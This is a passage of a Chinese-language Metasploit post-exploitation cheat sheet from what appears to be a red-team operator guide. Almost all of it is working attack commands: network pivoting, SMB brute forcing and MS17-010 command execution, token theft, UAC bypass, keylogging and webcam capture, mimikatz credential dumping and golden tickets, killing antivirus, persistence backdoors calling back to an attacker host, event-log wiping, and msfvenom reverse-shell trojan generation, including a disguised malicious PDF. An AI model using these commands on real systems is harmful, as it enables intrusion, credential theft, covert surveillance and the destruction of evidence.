使用exploit/multi/handler模块,payload设置为windows/meterpreter/reverse_tcp,同时设置好服务端监听ip和端口。
参考:https://www.cnblogs.com/diligenceday/p/11028462.html
十二、msf之内网渗透之添加路由
获取网段
run get_local_subnets
route list
添加路由表
为什么要添加路由表? 因为添加了路由表,就可以对目标内网进行一些深入渗透
添加路由: run autoroute
添加路由表 route add 192.168.0.0 255.255.255.0 1
还有一种添加方式是: route add 192.168.0.0/24 1
添加路由表 run autoroute -h
十三、msf之连接数据库_postgresql
安装postgresql
为什么要使用 postgresql ? 首先, 连接数据库之后搜索 msf 中模块的速度可以大大提高; 其次, 连接数据库之后,使用 msf 的痕迹会被保存下来,方便之后导出编写 渗透测试报告。 所以, 连接psql数据库不是必须的操作,但是为了提高渗透测试的效率,方便 日后的写报告,还是应该连接数据库,创建缓存。
安装 postgresql : apt-get install postgresql -y
配置postgresql
修改 posgres 系统用户密码
echo "postgres:hacker123456!" | chpasswd
修改 postgresql 数据库中默认用户 postgres的密码
su postgres 进入 postgres
psql 连接 psql
\password postgres 修改密码 hacker123456+
\q 退出
exit 返回
快捷连接
查看当前数据库连接状态 : db_status
使用 msfconsole 的资源加载功能。
- 把 db_connect postgres:hacker123456+@127.0.0.1/msfdb 保存为文件件 connection.rc
- msfconsole -r connection.rc hacker123456+ 是密码
已经连接到数据库服务里了
爆破 postgresql 密码然后保存到数据库
使用这个模块 : auxiliary/scanner/postgres/postgres_login
use auxiliary/scanner/postgres/postgres_login
set rhosts 127.0.0.1 set username postgres
set password hacker123456+ 这里密码可以加载一个 txt 文件来爆破
设置完数据库名,账号,密码后直接 run
爆破成功后,数据库就会有记录了:creds
十四、msf之内网渗透之smb密码爆破+远程命令执行
爆破SMB
SMB 对应的端口是 445
使用的是这个模块 : auxiliary/scanner/portscan/tcp
爆破 SMB ,爆破这个 IP 192.168.136.130:445
use auxiliary/scanner/smb/smb_login
一般来说 就设置 rhost、用户名、密码,用户名和密码可以在当前工作目录下生成一个 字典文件,然后用 file:/root/dic.txt 指定一个字典文件
远程命令执行
有了 IP 192.168.1.14 , 账号 admin , 密码 123456 之后,就可以使用 msf 的模块来 造成远程命令执行:
使用这个模块 auxiliary/admin/smb/ms17_010_command
十五、msf之内网渗透之反向Socks 代理
Socks5代理
采用 socks 协议的代理服务器就是 socks 服务器,是一种通用的代理服务器,Socks 是个电路级的底层网关。 Socks 代理与应用层、HTTP层代理不同,Socks 代理只是简单的传递数据包,而不必关心是何种应用协议(比如FTP、HTTP和NNTP请求)。 所以,Socks代理比其他应用层代理要快的多。 Socks 不支持 ICMP 、Ping 和 ARP 协议
应用场景
目标内网有多台机器,网速较好,想要便捷访问目标任意服务
反向Socks代理
Socks 代理 MSF 有这些模块
我们先使用 1 auxiliary/server/socks4a
这是需要设置的一些参数:
添加路由: run autoroute -s 192.168.136.130/24 192.168.136.130 是目标的 IP
安装配置 proxychains
apt-get install proxychains
配置 proxychains : /etc/proxychains.conf 在末尾,吧端口更改为刚刚设置监听的 1080 端口
这里的ip 端口 要和前面设置的一样
使用 proxychains
proxychains 对 目标机(192.168.136.130) 扫描内网端口 TCP连接扫描
proxychains nmap -Pn -sT -P 80,445,1433,3306,3389, 192.168.136.130
这边扫描出结果,开放了,以上端口,如是开放了 80 端口, 那么就可以直接访问了
十六、msf之设置session永久不掉线
保持监听持续
# 可以在接收到seesion后继续监听端口,保持侦听。
msf exploit(multi/handler) > set ExitOnSession false
防止session超时退出
# 默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
# 默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
参考:https://blog.csdn.net/Dearggae/article/details/106614064
十七、msf之search模块使用
可以使用内置的关键字系统进一步优化您的搜索。命令:help search
要使用描述性名称进行搜索,请使用name关键字。
您可以使用platform将搜索范围缩小到影响特定platform(平台)的模块。
使用该type可以按模块类型进行过滤,如auxiliary(辅助),post(提交),exploit(利用)等。
使用author关键字搜索可让您搜索您最喜爱的作者的模块
当然,search
命令还可以在拿到一定权限时,可以在受害者机器内搜索想要的信息
search -h
meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern
Search for files.
OPTIONS:
-d 开始从中搜索的 目录/驱动器。 留空以搜索所有驱动器。 (默认:)
-f 要搜索的文件模式glob。 (例如* secret * .doc?)
-h 帮助横幅。
-r 递归搜索子目录。 (默认:true)
十八、msf之常用命令
基础命令
加载模块 use name
查看网络配置 ifconfig
获取进程列表 ps
查看所有exploit show exploits
查看所有payload show payloads
查看所有auxiliary show auxiliary
展示模块详细信息 info
查找模块 search name
查看当前运行的模块 jobs
重启目标机器 reboot
关闭目标机器 shutdown
获取交互shell shell
当前meterpreter到后台 background
离开msf quit
端口转发
portfwd add -l 6666 -p 3389 -r 192.168.1.2
常用参数: -l:本地监听端口 -r:内网目标的ip -p:内网目标的端口
设置Socks代理
- Socks4a代理
- use auxiliary/server/socks4a
- set srvhost 127.0.0.1
- set srvport 1080
- run
添加路由
- 获取网段信息
- run get_local_subnets
- 查看帮助
- run autoroute –h
- 添加到目标环境网络
- run autoroute -s 192.168.0.1/24
- 打印添加的路由
- run autoroute –p
- 删除路由
- run autoroute -d -s 192.168.0.1/24
execute执行文件
在目标机中执行文件
execute
创建新进程cmd.exe,-H不可见,-i交互
execute -H -i -f cmd.exe
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程
migrate转移进程
获取当前进程PID getpid
获取进程列表 ps
转移进程 migrate PID
杀死进程 kill PID
自动进程迁移 run post/windows/manage/migrate
监听设置自动转移进程 set autorunscript migrate -f
令牌窃取
使用模块 use incognito
查看可用token list_tokens -u
假冒SYSTEM权限 impersonate_token 'NT AUTHORITY\SYSTEM'
利用假冒身份执行命令 execute -f cmd.exe -i –t
或者直接shell即可
返回原始权限 rev2self
提权相关
加载特权提升扩展模块 use priv
获取更多的特权 getprivs
查看补丁信息 run post/windows/gather/enum_patches
可利用exp提权检测 use post/multi/recon/local_exploit_suggester
系统服务权限配置错误 use exploit/windows/local/service_permissions
注册表键配置错误提取 use exploit/windows/local/always_install_elevated
可信任服务路径 use exploit/windows/local/trusted_service_path
bypassuac
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
键盘鼠标设置
禁用鼠标 uictl disable mouse
禁用键盘 uictl disable keyboard
启用鼠标 uictl enable mouse
启用键盘 uictl enable keyboard
键盘记录
开始键盘记录
keyscan_start
导出记录数据
keyscan_dump
结束键盘记录
keyscan_stop
信息搜集
查看当前目录 pwd getwd
查看目标主机信息 sysinfo
检查目标机器闲置时间 idletime
获取代理信息
getproxy
查看目标主机是否运行在虚拟机上
run checkvm run post/windows/gather/checkvm
获取主机安装软件、补丁
run post/windows/gather/enum_applications
获取目标主机环境变量
run post/multi/gather/env
获取IE缓存
run post/windows/gather/enum_ie
获取Chrome缓存
run post/windows/gather/enum_chrome
获取Firefox缓存
run post/windows/gather/enum_firefox
列举当前登录的用户
run post/windows/gather/enum_logged_on_users
查找域控
run post/windows/gather/enum_domain
Windows凭证搜索
run post/windows/gather/enum_unattend
获取办公文档
run post/windows/gather/dumplinks
获取目标常见信息并保存到本地 run scraper
屏幕截图
screenshot
密码获取
抓取自动登录的用户名和密码
run post/windows/gather/credentials/windows_autologin
hashdump
run post/windows/gather/smart_hashdump
mimikatz
老版
加载 load mimikatz
获取hash值 msv
获取明文 Kerberos
获取系统账户信息 wdigest
新版
加载kiwi模块:
load kiwi
列举系统中的明文密码:
creds_all
creds_all: #列举所有凭据
creds_kerberos: #列举所有kerberos凭据
creds_msv: #列举所有msv凭据
creds_ssp: #列举所有ssp凭据
creds_tspkg: #列举所有tspkg凭据
creds_wdigest: #列举所有wdigest凭据
dcsync: #通过DCSync检索用户帐户信息
dcsync_ntlm: #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create: #创建黄金票据
kerberos_ticket_list: #列举kerberos票据
kerberos_ticket_purge: #清除kerberos票据
kerberos_ticket_use: #使用kerberos票据
kiwi_cmd: #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam: #dump出lsa的SAM
lsa_dump_secrets: #dump出lsa的密文
password_change: #修改密码
wifi_list: #列出当前用户的wifi配置文件
wifi_list_shared: #列出共享wifi配置文件/编码
kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令:
kiwi_cmd sekurlsa::logonpasswords
获取域散列值
#使用psexec_ntdsgrab模块
use auxiliary/admin/smb/psexec_ntdsgrab
set RHOST set SMBDomain
set SMBUser
set SMBPass
基于meterpreter会话
use windows/gather/credentials/domain_hashdump
set session ID
流量抓取
查看网卡信息
run packetrecorder -L
查看流量
run packetrecorder -i <网卡ID>
端口扫描、主机发现
使用arp发现主机
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
扫描tcp端口
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
防火墙、杀软
关闭杀软 run killav
查看防火墙状态 run getcountermeasure
在shell中使用
netsh firewall show opmode
PowerShell
加载脚本模块
powershell_import /root/Desktop/HostRecon.ps1
执行加载的脚本
powershell_execute Invoke-HostRecon
Hash传递
use exploit/windows/smb/psexec
摄像头、屏幕
查看摄像头信息 webcam_list
使用摄像头拍照 webcam_snap
屏幕监视 run vnc
开启远程桌面
开启远程桌面
run post/windows/manage/enable_rdp
添加用户
run post/windows/manage/enable_rdp USERNAME=gugugu PASSWORD=Root123456789
将3389端口转发到6662端口
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662
cmdshell升级
查看全部会话 sessions
选择会话1 sessions 1
升级meterpreter sessions -u 会话id
持久化控制后门
run persistence -X -i 50 -p 4444 -r 192.168.1.7
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.109.137
set LPORT 4444
exploit
针对linux平台
目标主机保存的ssh身份验证信息
run post/multi/gather/ssh_creds
擦屁股、清痕迹
删除添加的账号
C:\Windows\system32> net user 添加的用户名 /del
删除日志
clearev
关闭所有session连接
sessions -K
事件日志
查看事件日志
run event_manager -i
清除事件日志
run event_manager -c
msf生成木马教程
生成木马命令:msfvenom
msfcenom详细语法
-e, –encoder [encoder] 指定需要使用的encoder(编码器)
-a, –arch < architecture> 指定payload的目标架构
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度
-b, –bad-chars < list> 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件
-x, –template < path> 指定一个自定义的可执行文件作为模板
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 保存payload
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
生成木马语句
二进制
linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
web
php:msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo '<?php ’ | tr -d ‘\n’ > shell.php && pbpaste >> shell.php
asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
jap:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
war:msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
脚本
python:msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
bash:msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
perl:msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
基于pdf的shellcode
use exploit/windows/fileformat/adobe_utilprintf
msf5 exploit(adobe_utilprintf)>set FILENAME BestComputers-UpgradeInstructions.pdfset
PAYLOAD windows/meterpreter/reverse_tcp
其他的就自己填就好了
参考:
https://blog.csdn.net/weixin_46789316/article/details/112135904
https://blog.csdn.net/hackzkaq/article/details/120825347
渗透攻击红队msf系列
pdf在:https://github.com/txluck/MSF_operation_guide
有错的地方 不足的地方请师傅们指出:
https://github.com/txluck/MSF_operation_guide/issues